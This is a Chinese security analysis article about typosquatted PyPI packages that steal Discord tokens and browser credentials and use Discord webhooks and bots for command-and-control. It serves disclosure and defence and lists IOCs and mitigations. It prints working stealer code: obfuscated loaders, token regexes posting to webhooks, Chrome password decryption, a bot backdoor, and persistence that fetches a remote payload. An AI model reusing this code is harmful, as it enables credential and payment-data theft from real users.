freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PyPi供应链投毒系列事件,Discord助力黑客攻击
2021-08-16 10:55:56
所属地 浙江省

前言

2020年7月,攻击者在PyPI官方仓库中上传了一个名为request的恶意包,致使用户在安装知名Python HTTP库requests时易因为拼写错误而遭受该恶意包攻击;同年11月,随着新冠病毒(COVID-19)在全世界传播,名为covd的恶意包被上传到PyP官方仓库中,旨在模仿一个用于获取新冠病毒实时信息的Python包covid,并成功被广泛传播。

近年,类似的供应链攻击事件披露数量不断上升,其中以PyPi、Npm为代表的第三方包管理仓库尤为受到攻击者的青睐,因该类攻击的攻击难度低且隐蔽性高,影响范围广,给企业和用户带来的安全风险与日俱增。

概述

为应对日益扩大的软件供应链攻击风险,阿里云安全团队对主流第三方包管理仓库进行了持续性安全检测,并在近期侦测到十余起基于Discord的PyPi恶意投毒事件

Discord简介

image

Discord是近年国外非常火的一款免费网络实时通话平台,同时也是一个游戏玩家的讨论社区。据相关数据统计,2020年3月起,Discord在全球范围内的热度就居高不下,目前该社区月活跃用户已经超过1.4亿。

image

Discord在提供基本的文字语音等功能的基础上,还免费开放用户制作第三方机器人的能力,并提供了完善的文档和接口。这使得大量开发者也进入到Discord中进行机器人等功能的自定义开发,同时促使了大量的第三方Discord包被上传到各大包管理仓库里。

而在Discord提供的API中,用户可以通过Webhook的功能或是Bot功能向自己的Discord服务器的推送消息,其过程仅需要提供一个token信息。这不仅方便用户进行定制化开发,而其匿名性也为黑客提供了便利,导致越来越多的黑客将视线转向Discord ,Discord的该功能成为了黑客搭建C&C服务器的“风水宝地”。而另一方面,Discord机器人开发者人数上升,其开发过程的软件供应链也成为了黑客的优质目标,通过供应链投毒的手法,恶意软件可以有效的在Discord开发者中传播起来。

事件概况

image

阿里云安全团队根据IOC与恶意行为特征对PyPi恶意包进行聚类分析发现,多个攻击者最早从2020年7月开始通过不同的用户身份向PyPi仓库不断投递基于Discord进行攻击的恶意包,PyPi下载量统计数据显示,截止目前针对该系列恶意包总下载量超过20000次。

通过恶意包的命名风格可以看出,目前PyPi投毒主要还是以经典的typo攻击模式。恶意包通过模仿正常包包名,使受害用户在安装时因为拼写错误而遭受攻击。其中在用户名为raxishot和nexx74投递的多个恶意包中,还精心伪造了一份内容翔实的Readme文件来伪装自身(如下图),以进一步获取用户信任。

image

恶意行为

经过分析发现,这一系列针对Discord的恶意包主要攻击目标是Windows操作系统,其实施的恶意行为具有较高的相似性,并且随着时间推移,后期投递的恶意包中存在的恶意行为在不断的添加和完善。

image

该系列恶意包恶意行为触发方式分为两种,一是在用户执行pip install命令时触发,或是在import导入该恶意包并启动运行时完成触发。其攻击过程均利用Discord作为C&C服务器,所有数据回传和命令下发都会通过Discord的网络通信接口发送到攻击者的Discord服务器中。

  1. 2020年7月开始早期投递的恶意包如socketxio、stringhelp、discord-api等包中,恶意行为主要为单一的窃取用户Discord账户的token信息,该token可用于Discord的用户身份认证。

  2. 2021年3月由用户7._4d投递的dishelp-python恶意包中,在窃取Discord账户token的基础上,增加了对受害者系统中Chrome浏览器存储的账号密码的窃取。

  3. 2021年4月投递的noblesse2和noblessev2中,会同时窃取Chrome和Edge中保存的账号密码以及信用卡信息,以及窃取Windows系统激活密钥,同时还会对受害者屏幕进行截图。

  4. 2021年7月上传的colora系列恶意包中,进一步的增加了对Chrome浏览器Cookie的窃取,在窃取Discord账户token的基础上进一步窃取了用户Discord中的个人信息。

  5. 2021年8月最近一次投递的针对Discord的恶意包pyfetchx中,攻击者在窃取各项隐私信息的基础上,基于Discord的机器人功能实现了一个完善的后门和持久化能力,危害性进一步提高。

手法分析

检测对抗

在基于Discord的系列恶意包中,部分恶意包对恶意代码进行了一定程度的混淆以对抗静态检测手段。

1、对代码进行编码,如coloramz、Backdoorxrat等恶意包

import base64, codecs
magic = 'aW1wb3J0IGRpc2NvcmQNCmltcG9ydCBvcw0KZnJ...'
love = 'PNtVPNtVPNtVPNtVPOlMKE1pz4tVxAbpz9gMFN8V...'
god = 'AgcGFzcw0KICAgIGRlZiBnZXRjaGF0KHRva2VuLCB...'
destiny = 'tVPO7QDbtVPNtVPNtVPNtVPNtVPNtVPNtVPNt...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

2、使用marshal库对Python代码对象进行序列化,如DiscordSafety恶意包

import marshal as m
import requests as rq
exec(m.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\...')

3、尝试混淆代码结构,如discord-api恶意包

[
  [
    __import__("requests").post(
      "https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq",
      data={
        "content": "\n```:sparkles:get stealed:sparkles: :: %s```\n"
        % (x)
      },
    )
    for x in __import__("re").findall(
      r"[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-]{6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}",
      open(
        "%s/%s" % (path, file_name), encoding="utf-8", errors="ignore"
      ).read(),
    )
  ]
  for file_name in __import__("os").listdir(path)
  if not file_name.endswith(".log")
]

C&C通信

Discord作为C&C服务器的两种方式,一是通过Webhook功能,攻击者可以轻松的将窃取的数据通过一个Webhook URL传输到自己的Discord中;另一个是通过创建Bot,该方式攻击者不仅可以从受害者机器上传数据,还能够从控制端进行命令下发。

image
image

在该系列投毒事件中,前期恶意包主要通过Webhook功能来回传窃取的敏感信息:

def __init__(self):
		self.url = 'https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO'
def do_request(self, item: dict):
		requests.post(self.url, data={'content': item})

而后期的一些恶意包则开始使用Bot功能来实现数据双向通信:

@client.event
async def on_message(message):
  	if message.channel.name != channel_name:
    	pass
  	else:
      if message.content == "!presistant":
        	# ......

信息窃取

1、窃取用户Discord token

若用户在电脑中登陆过Discord,通常Discord token会出现在浏览器或Discord应用程序的数据文件中,该token可用于Discord的用户身份认证,可能的数据文件路径如下:

C:\User\[UserName]\AppData\LOCAL\Google\Chrome\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\Discord\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordcanary\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordptb\Local Storage\leveldb

Discord token具有一个固定的格式,可以通过正则表达式[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-] {6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}进行搜索匹配,具体恶意行为如下:

def gettokens(path):
    path += "\\Local Storage\\leveldb"
    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
            continue
        for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                for token in findall(regex, line):
                    tokens.append(token)
    return tokens

2、窃取用户浏览器信息数据

如今各种浏览器为了方便用户使用均提供了记住密码、信用卡等功能,但不幸的是该功能存在着不小的安全隐患 ,而今成为了攻击者窃取密码等数据的有效途径。在该系列恶意包中,Chrome和Edge就成为了信息窃取的目标。

攻击者首先从C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\default\Login Data获取到Chrome浏览器对数据的解密密钥。

然后访问Chrome保存的用户密码的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\Local State以及保存信用卡的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\AppData\Local\Google\Chrome\User Data\default\Web Data,将其中的数据用密钥继续解密后即轻松的完成了对数据的窃取
同时,攻击者还是使用了browser_cookie3这个Python库来获取用户浏览器中的Cookie信息。

def get_master_key():
		with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        master_key = master_key[5:]  # removing DPAPI
        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
        return master_key
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()

try:
  	cursor.execute("SELECT action_url, username_value, password_value FROM logins")
    # ......
cookies = list(browser_cookie3.chrome())

3、窃取Window系统激活密钥

keys = subprocess.check_output(
  	'wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output(
  	'wmic os get Caption').decode().split('\n')[1].strip()

4、窃取Discord用户数据

当攻击者窃取到了Discord用户的token后,即会尝试通过API获取受害者用户的个人信息、好友、频道、支付情况等数据。

相关恶意代码如下:

def getuserdata(token):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
def getfriends(token):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
def getchat(token, uid):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
def has_payment_methods(token):
    return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)

5、截屏

在窃取数据的基础上,该系列恶意包中还存在截屏行为

screen = ImageGrab.grab()
screen.save(os.getenv('ProgramData') + r'\desktop.jpg')

后门植入

后门能力主要是通过Discord的Bot功能实现的,攻击者通过在Discord聊天窗口中发出命令,而受害者中的恶意后门将执行相应的操作。

在pyfetchx恶意包中提供了非常强大的后门功能,包括命令执行、文件传输、剪切板读取、截屏甚至Windows UAC绕过功能,对用户安全威胁极大。

@client.event
async def on_message(message):
  	if message.content == "!presistant": #......
    if message.content == "!help": #......
    if message.content == "!screenshot": #......
    if message.content.startswith("!upload"): #......
    if message.content.startswith("!shell"): #......
    # .......

同时pyfetchx恶意包还具有持久化能力。恶意包首先将从http://www.dwarforest.tk/updates.txt下载恶意Python代码,并将其编译为pyc文件后拷贝到\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\开机启动目录中,具体操作如下:

url = "http://www.dwarforest.tk/updates.txt"
response = requests.get(url, stream=True)
with open("mainx.py", "wb") as handle:
    for data in tqdm(response.iter_content()):
        handle.write(data)
os.system("py -m compileall")
source = r"./__pycache__/mainx.cpython-39.pyc"
destination = os.environ['USERPROFILE'] + os.sep + r'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemprocess.pyc'
shutil.copy(source, destination)
await message.channel.send("`[!] Done with presistance!`")
os.remove("mainx.py")
shutil.rmtree(r"./__pycache__")

IOCs

Discord Webhook URL:

https://discord.com/api/webhooks/845637931749736498/ewOnnjXCvtX1bzTDPhFEe1fFZ4MFh7t-OydnQ3ob2MxQ_sMq2ZXXNIwA36OWBFjP3vbV
https://discord.com/api/webhooks/857801398062415913/gjtazjRjPG5BhM1fMUJfIpsTpkikHkn4j7V7qWYKDQwB_C0KLlu7EhbM6Tn3ZjH4wR29
https://discord.com/api/webhooks/854434670875639829/t03t6B5eUAD9oEYUl1JZSEjCZ4CRyw4C8ZP7BfJ0jXezYMPcyrYEj1fyO72tVWcKp9p1
https://ptb.discord.com/api/webhooks/807327703082074143/uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x
https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq
https://discord.com/api/webhooks/818207581465346099/iTb5aFCYX90QwsE_GeblnhX1V9-QOB-JBpp1YdaRrTZvZi_i_JFiBjGkXtZrIO5OFG3P
https://discord.com/api/webhooks/823687444481835028/XfqnGeox1fI_wp2vUgK9HpmfVMOUl9t6HefjfQEhnyQwgtnzyjr_2uYrWDWQlS0NW6mn
https://discord.com/api/webhooks/737341936297574491/iYT-5fQ-rWtwjziy2yZubSc56rekTRvl_cPz7XhTsJi8gnUWnPYfO357x1P0bHGvDJx3
https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO

其他URL

http://www.dwarforest.tk/updates.txt

近期其他高危投毒事件

image

安全建议

  1. 相关用户和企业请尽快自查,确保恶意包得到清除

  2. 开发者使用第三方库时仔细确认安装方式无误,如避免拼写错误。

  3. 企业可建立内部可信软件源和包管理仓库,避免员工下载未知软件或开发组件

# 黑客 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者